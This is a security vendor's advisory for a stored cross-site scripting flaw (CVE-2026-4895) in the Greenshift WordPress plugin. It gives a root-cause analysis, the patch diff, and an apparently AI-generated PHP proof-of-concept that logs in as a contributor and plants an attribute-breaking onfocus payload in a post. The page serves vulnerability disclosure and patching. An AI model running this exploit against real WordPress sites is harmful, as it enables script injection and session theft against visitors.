Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 17, 2026

CVE-2026-4895: Greenshift <= 12.8.9 – Authenticated (Contributor+) Stored Cross-Site Scripting via disablelazy Attribute (greenshift-animation-and-page-builder-blocks)

CVE ID CVE-2026-4895
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 12.8.9
Patched Version 12.9.0
Disclosed April 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4895:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the GreenShift WordPress plugin versions up to 12.8.9. The vulnerability exists in the plugin’s block rendering function, allowing contributors and higher-privileged users to inject malicious scripts that execute when pages load.

Root Cause:
The vulnerability originates in the gspb_greenShift_block_script_assets() function within the init.php file. When processing greenshift-blocks/image blocks with the disablelazy attribute enabled, the function performs a str_replace() operation on line 904. This operation replaces ‘src=’ with ‘fetchpriority=”high” src=’ directly on the raw HTML string without proper parsing. The str_replace() function operates on the entire HTML string, allowing attackers to inject ‘src=’ substrings within HTML attribute values. When the replacement occurs, the double quotes in the injected string break attribute context, enabling injection of malicious attributes like onfocus with JavaScript payloads.

Exploitation:
An authenticated attacker with contributor-level access or higher can exploit this vulnerability by creating or editing a post containing a greenshift-blocks/image block with the disablelazy attribute. The attacker injects malicious HTML containing ‘src=’ substrings within attribute values, such as in a class attribute. When the plugin processes the block, the str_replace() operation inserts ‘fetchpriority=”high”‘ before each ‘src=’ occurrence, including those within attribute values. This breaks the attribute context and allows injection of event handlers like onfocus=”alert(document.cookie)” that execute when users interact with the page.

Patch Analysis:
The patch replaces the vulnerable str_replace() approach with WordPress’s WP_HTML_Tag_Processor class. In the patched code at line 904-908, the plugin creates a new WP_HTML_Tag_Processor instance to parse the HTML, specifically targets img tags using next_tag(‘img’), and safely sets the fetchpriority attribute using set_attribute(). This proper HTML parsing prevents attribute context confusion. The patch also adds escaping to other str_replace() operations in the same function, such as lines 990-992 where id, openlabel, closelabel, and position parameters now use esc_attr().

Impact:
Successful exploitation allows attackers with contributor-level permissions to inject arbitrary JavaScript into pages. This JavaScript executes in the context of any user viewing the compromised page, potentially leading to session hijacking, account takeover, content defacement, or malware distribution. The stored nature means the payload persists across multiple page views without requiring further interaction from the attacker.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/greenshift-animation-and-page-builder-blocks/build/gspbLibrary.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbLibrary.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-rich-text'), 'version' => '713429a8b4a8cf06d144');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-rich-text'), 'version' => 'f6728c4da65e41213b08');
--- a/greenshift-animation-and-page-builder-blocks/build/gspbSiteEditor.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbSiteEditor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '16b3fa344b30c1a97e5e');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '31d342c8b92a172d8d9e');
--- a/greenshift-animation-and-page-builder-blocks/build/index.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '8c60cb402c79a65d61b6');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '76812a4718b26aed158b');
--- a/greenshift-animation-and-page-builder-blocks/includes/helper.php
+++ b/greenshift-animation-and-page-builder-blocks/includes/helper.php
@@ -1255,6 +1255,12 @@
 				$value = str_replace('{{POST_TITLE}}', esc_html($post->post_title), $value);
 			}
 		}
+		if (strpos($value, '{{POST_EXCERPT}}') !== false){
+			global $post;
+			if(!empty($post) && is_object($post)){
+				$value = str_replace('{{POST_EXCERPT}}', esc_html($post->post_excerpt), $value);
+			}
+		}
 		if (strpos($value, '{{POST_URL}}') !== false){
 			global $post;
 			if(!empty($post) && is_object($post)){
--- a/greenshift-animation-and-page-builder-blocks/init.php
+++ b/greenshift-animation-and-page-builder-blocks/init.php
@@ -104,6 +104,21 @@
 // Hook: Frontend assets.
 add_action('init', 'gspb_greenShift_register_scripts_blocks');
 add_filter('render_block', 'gspb_greenShift_block_script_assets', 10, 2);
+add_filter('register_block_type_args', 'gspb_enable_full_align_for_html_block', 10, 2);
+function gspb_enable_full_align_for_html_block($args, $block_type)
+{
+	if ('core/html' !== $block_type) {
+		return $args;
+	}
+
+	if (empty($args['supports']) || !is_array($args['supports'])) {
+		$args['supports'] = array();
+	}
+
+	$args['supports']['align'] = array('wide', 'full');
+
+	return $args;
+}

 $enable_head_inline = !empty($global_gs_options['enable_head_inline']) ? $global_gs_options['enable_head_inline'] : '';
 //$enable_head_inline = function_exists('wp_is_block_theme') && wp_is_block_theme();
@@ -703,7 +718,7 @@
 		'gspb_api',
 		GREENSHIFT_DIR_URL . 'libs/api/index.js',
 		array(),
-		'1.8',
+		'1.9',
 		true
 	);

@@ -741,25 +756,25 @@
 		'greenShift-library-editor',
 		GREENSHIFT_DIR_URL . 'build/gspbLibrary.css',
 		'',
-		'12.8'
+		'12.9'
 	);
 	wp_register_style(
 		'greenShift-block-css', // Handle.
 		GREENSHIFT_DIR_URL . 'build/index.css', // Block editor CSS.
 		array('greenShift-library-editor', 'wp-edit-blocks'),
-		'12.8'
+		'12.9'
 	);
 	wp_register_style(
 		'greenShift-stylebook-css', // Handle.
 		GREENSHIFT_DIR_URL . 'build/gspbStylebook.css', // Block editor CSS.
 		array(),
-		'12.8'
+		'12.9'
 	);
 	wp_register_style(
 		'greenShift-admin-css', // Handle.
 		GREENSHIFT_DIR_URL . 'templates/admin/style.css', // admin css
 		array(),
-		'12.8'
+		'12.9'
 	);

 	//Script for ajax reusable loading
@@ -886,7 +901,11 @@
 				wp_enqueue_style('gsslightboxfront');
 			}
 			if(!empty($block['attrs']['disablelazy'])){
-				$html = str_replace('src=', 'fetchpriority="high" src=', $html);
+				$p = new WP_HTML_Tag_Processor( $html );
+				if ( $p->next_tag( 'img' ) ) {
+					$p->set_attribute( 'fetchpriority', 'high' );
+					$html = $p->get_updated_html();
+				}
 			}
 			if(!empty($block['attrs']['href'])){
 				$html = str_replace('rel="noopener"', '', $html);
@@ -966,9 +985,9 @@
 			$openlabel = !empty($block['attrs']['openlabel']) ? esc_attr($block['attrs']['openlabel']) : 'Show more';
 			$closelabel = !empty($block['attrs']['closelabel']) ? esc_attr($block['attrs']['closelabel']) : 'Show less';

-			$html = str_replace('class="gs-toggler-wrapper"', 'class="gs-toggler-wrapper"'. ' id="'.$id.'"', $html);
-			$html = str_replace('class="gs-tgl-show"', 'class="gs-tgl-show"'. ' tabindex="0" role="button" aria-label="'.$openlabel.'" aria-controls="'.$id.'"', $html);
-			$html = str_replace('class="gs-tgl-hide"', 'class="gs-tgl-hide"'. ' tabindex="0" role="button" aria-label="'.$closelabel.'" aria-controls="'.$id.'"', $html);
+			$html = str_replace('class="gs-toggler-wrapper"', 'class="gs-toggler-wrapper"'. ' id="'.esc_attr($id).'"', $html);
+			$html = str_replace('class="gs-tgl-show"', 'class="gs-tgl-show"'. ' tabindex="0" role="button" aria-label="'.esc_attr($openlabel).'" aria-controls="'.esc_attr($id).'"', $html);
+			$html = str_replace('class="gs-tgl-hide"', 'class="gs-tgl-hide"'. ' tabindex="0" role="button" aria-label="'.esc_attr($closelabel).'" aria-controls="'.esc_attr($id).'"', $html);
 		}

 		// looking for counter
@@ -1050,7 +1069,7 @@
 				wp_enqueue_script('gsslidingpanel');
 				if($blockname == 'greenshift-blocks/button'){
 					$position = !empty($block['attrs']['slidePosition']) ? esc_attr($block['attrs']['slidePosition']) : '';
-					$html = str_replace('id="gspb_button-id-' . $block['attrs']['id'], 'data-paneltype="' . $position . '" id="gspb_button-id-' . greenshift_sanitize_id_key($block['attrs']['id']), $html);
+					$html = str_replace('id="gspb_button-id-' . $block['attrs']['id'], 'data-paneltype="' . esc_attr($position) . '" id="gspb_button-id-' . greenshift_sanitize_id_key($block['attrs']['id']), $html);
 					$html = str_replace('class="gspb_slidingPanel"', 'data-panelid="gspb_button-id-' . greenshift_sanitize_id_key($block['attrs']['id']) . '" class="gspb_slidingPanel"', $html);
 				}
 				if($blockname == 'greenshift-blocks/buttonbox'){
@@ -1066,7 +1085,7 @@
 				}
 				$linknew = apply_filters('greenshiftseo_url_filter', $link);
 				$linknew = apply_filters('rh_post_offer_url_filter', $linknew);
-				$html = str_replace($link, $linknew, $html);
+				$html = str_replace($link, esc_url($linknew), $html);
 			}
 			if (function_exists('GSPB_make_dynamic_link') && !empty($block['attrs']['dynamicEnable'])) {
 				$field = !empty($block['attrs']['dynamicField']) ? $block['attrs']['dynamicField'] : '';
@@ -1075,8 +1094,9 @@
 					$replacedlink = GSPB_get_value_from_array_field($repeaterField, $block['attrs']['repeaterArray']);
 					$replacedlink = GSPB_field_array_to_value($replacedlink, ', ');
 					$replacedlink = apply_filters('greenshiftseo_url_filter', $replacedlink);
+					$replacedlink = esc_url($replacedlink);
 					if($replacedlink){
-						$html = preg_replace('/hrefs*=s*"([^"]*)"/i', 'href="' . $replacedlink . '"', $html);
+						$html = preg_replace('/hrefs*=s*"([^"]*)"/i', 'href="' . esc_url($replacedlink) . '"', $html);
 					}
 				} else {
 					$html = GSPB_make_dynamic_link($html, $block['attrs'], $block, $field, $block['attrs']['buttonLink']);
@@ -2683,7 +2703,7 @@
 				'methods'             => 'POST',
 				'callback'            => 'gspb_update_global_wp_settings',
 				'permission_callback' => function () {
-					return current_user_can('edit_posts');
+					return current_user_can('manage_options');
 				},
 				'args'                => array(),
 			),
--- a/greenshift-animation-and-page-builder-blocks/plugin.php
+++ b/greenshift-animation-and-page-builder-blocks/plugin.php
@@ -6,7 +6,7 @@
  * Author: Wpsoul
  * Author URI: https://greenshiftwp.com
  * Plugin URI: https://greenshiftwp.com
- * Version: 12.8.9
+ * Version: 12.9.0
  * Text Domain: greenshift-animation-and-page-builder-blocks
  * License: GPL2+
  * License URI: https://www.gnu.org/licenses/gpl-2.0.txt
--- a/greenshift-animation-and-page-builder-blocks/settings.php
+++ b/greenshift-animation-and-page-builder-blocks/settings.php
@@ -1076,15 +1076,14 @@
 																</td>
 																<td>
 																	<select name="openaiapimodel">
-																		<option value="gpt-5.2" <?php selected($openaiapimodel, 'gpt-5.2'); ?>> gpt-5.2 </option>
-																		<option value="gpt-5.2-pro" <?php selected($openaiapimodel, 'gpt-5.2-pro'); ?>> gpt-5.2-pro </option>
-																		<option value="gemini-3-flash-preview" <?php selected($openaiapimodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
-																		<option value="gemini-2.5-flash" <?php selected($openaiapimodel, 'gemini-2.5-flash'); ?>> gemini-2.5-flash </option>
-
+																		<option value="gpt-5.4" <?php selected($openaiapimodel, 'gpt-5.4'); ?>> gpt-5.4 </option>
+																		<option value="gpt-5.4-mini" <?php selected($openaiapimodel, 'gpt-5.4-mini'); ?>> gpt-5.4-mini </option>
 																		<option value="gemini-3.1-pro-preview" <?php selected($openaiapimodel, 'gemini-3.1-pro-preview'); ?>> gemini-3.1-pro-preview </option>
+																		<option value="gemini-3-flash-preview" <?php selected($openaiapimodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
+																		<option value="gemini-3.1-flash-lite-preview" <?php selected($openaiapimodel, 'gemini-3.1-flash-lite-preview'); ?>> gemini-3.1-flash-lite-preview </option>
+																		<option value="claude-opus-4-6" <?php selected($openaiapimodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>
 																		<option value="claude-sonnet-4-6" <?php selected($openaiapimodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
 																		<option value="claude-haiku-4-5" <?php selected($openaiapimodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
-																		<option value="claude-opus-4-6" <?php selected($openaiapimodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>
 																		<option value="deepseek-chat" <?php selected($openaiapimodel, 'deepseek-chat'); ?>> deepseek-chat </option>
 																	</select>
 																</td>
@@ -1095,17 +1094,15 @@
 																</td>
 																<td>
 																	<select name="aihelpermodel">
-																		<option value="gpt-5.2" <?php selected($aihelpermodel, 'gpt-5.2'); ?>> gpt-5.2 </option>
-																		<option value="gpt-5" <?php selected($aihelpermodel, 'gpt-5'); ?>> gpt-5 </option>
-																		<option value="gpt-5.2-pro" <?php selected($aihelpermodel, 'gpt-5.2-pro'); ?>> gpt-5.2-pro </option>
-																		<option value="gemini-3-flash-preview" <?php selected($aihelpermodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
-
-
+																		<option value="gpt-5.4" <?php selected($aihelpermodel, 'gpt-5.4'); ?>> gpt-5.4 </option>
+																		<option value="gpt-5.4-mini" <?php selected($aihelpermodel, 'gpt-5.4-mini'); ?>> gpt-5.4-mini </option>
 																		<option value="gemini-3.1-pro-preview" <?php selected($aihelpermodel, 'gemini-3.1-pro-preview'); ?>> gemini-3.1-pro-preview </option>
-																		<option value="gemini-2.5-flash" <?php selected($aihelpermodel, 'gemini-2.5-flash'); ?>> gemini-2.5-flash </option>
-																		<option value="claude-haiku-4-5" <?php selected($aihelpermodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
-																		<option value="claude-sonnet-4-6" <?php selected($aihelpermodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
+																		<option value="gemini-3-flash-preview" <?php selected($aihelpermodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
+																		<option value="gemini-3.1-flash-lite-preview" <?php selected($aihelpermodel, 'gemini-3.1-flash-lite-preview'); ?>> gemini-3.1-flash-lite-preview </option>
 																		<option value="claude-opus-4-6" <?php selected($aihelpermodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>
+																		<option value="claude-sonnet-4-6" <?php selected($aihelpermodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
+																		<option value="claude-haiku-4-5" <?php selected($aihelpermodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
+																		<option value="deepseek-chat" <?php selected($aihelpermodel, 'deepseek-chat'); ?>> deepseek-chat </option>

 																	</select>
 																</td>
@@ -1118,28 +1115,12 @@
 																	<select name="aiimagemodel">
 																		<option value="gemini-3.1-flash-image-preview" <?php selected($aiimagemodel, 'gemini-3.1-flash-image-preview'); ?>> Google Flash 3.1 </option>
 																		<option value="gemini-3-pro-image-preview" <?php selected($aiimagemodel, 'gemini-3-pro-image-preview'); ?>> Google Pro 3 Preview </option>
-																		<option value="gpt-image-1" <?php selected($aiimagemodel, 'gpt-image-1'); ?>> GPT Image 1.5 </option>
+																		<option value="gpt-image-1" <?php selected($aiimagemodel, 'gpt-image-1'); ?>> GPT Image 1 </option>
 																		<option value="gpt-image-1.5" <?php selected($aiimagemodel, 'gpt-image-1.5'); ?>> GPT Image 1.5 </option>

 																	</select>
 																</td>
 															</tr>
-															<tr class="aidesignmodel">
-																<td>
-																	<label for="aidesignmodel"><?php esc_html_e("AI Design Model", 'greenshift-animation-and-page-builder-blocks'); ?></label>
-																</td>
-																<td>
-																	<select name="aidesignmodel">
-																		<option value="claude-haiku-4-5" <?php selected($aidesignmodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
-																		<option value="claude-sonnet-4-6" <?php selected($aidesignmodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
-																		<option value="claude-opus-4-6" <?php selected($aidesignmodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>
-																		<option value="gemini-3-flash-preview" <?php selected($aidesignmodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
-																		<option value="gemini-3.1-pro-preview" <?php selected($aidesignmodel, 'gemini-3.1-pro-preview'); ?>> gemini-3.1-pro-preview </option>
-
-
-																	</select>
-																</td>
-															</tr>
 														</tbody>
 													</table>

@@ -1433,10 +1414,10 @@
 			for ($i = 0; (int)$data['fonts_count'] > $i; $i++) {
 				//$item_arr = ['label' => sanitize_text_field($data['font_specific_style_name'][$i])];
 				foreach ($this->allowed_font_ext as $ext) {
-					$item_arr[$ext] = !empty($fonts_urls[$i][$ext]) ? $fonts_urls[$i][$ext] : sanitize_text_field($data[$ext][$i]);
+					$item_arr[$ext] = !empty($fonts_urls[$i][$ext]) ? $fonts_urls[$i][$ext] : sanitize_text_field(wp_unslash($data[$ext][$i]));
 				}
-				$item_arr['preloaded'] = !empty($data['font_family_preload'][$i]) ? sanitize_text_field($data['font_family_preload'][$i]) : '';
-				$arr[sanitize_text_field($data['font_family_name'][$i])] = $item_arr;
+				$item_arr['preloaded'] = !empty($data['font_family_preload'][$i]) ? sanitize_text_field(wp_unslash($data['font_family_preload'][$i])) : '';
+				$arr[sanitize_text_field(wp_unslash($data['font_family_name'][$i]))] = $item_arr;
 			}
 			$new_localfont = json_encode($arr);
 			$global_settings['localfont'] = $new_localfont;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4895 - Greenshift <= 12.8.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via disablelazy Attribute

<?php
// Configuration
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload construction
// The payload injects 'src=' into a class attribute, which when processed by str_replace()
// will insert fetchpriority="high" and break out of the attribute context
$malicious_payload = 'class="gs-image gs-image-src=" onfocus="alert(document.domain)" tabindex="1""';

// Create a post with a vulnerable image block
$post_data = array(
    'title' => 'XSS Test Post',
    'content' => '<!-- wp:greenshift-blocks/image {"disablelazy":true} -->' .
                 '<figure class="wp-block-greenshift-blocks-image">' .
                 '<img ' . $malicious_payload . ' src="https://example.com/image.jpg" alt="Test" />' .
                 '</figure>' .
                 '<!-- /wp:greenshift-blocks/image -->',
    'status' => 'draft'
);

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);

// Get nonce for post creation
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
$new_post_page = curl_exec($ch);

// Extract nonce (simplified - real implementation would parse the page)
// Note: Actual exploitation would require proper nonce extraction
preg_match('/"_wpnonce":"([a-f0-9]+)"/', $new_post_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

// Create the post via REST API
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
$api_response = curl_exec($ch);

// Parse response to get post ID
$response_data = json_decode($api_response, true);
if (isset($response_data['id'])) {
    echo "Post created with ID: " . $response_data['id'] . "n";
    echo "Visit: " . $target_url . '/?p=' . $response_data['id'] . " to trigger the XSSn";
} else {
    echo "Failed to create post. Response: " . $api_response . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School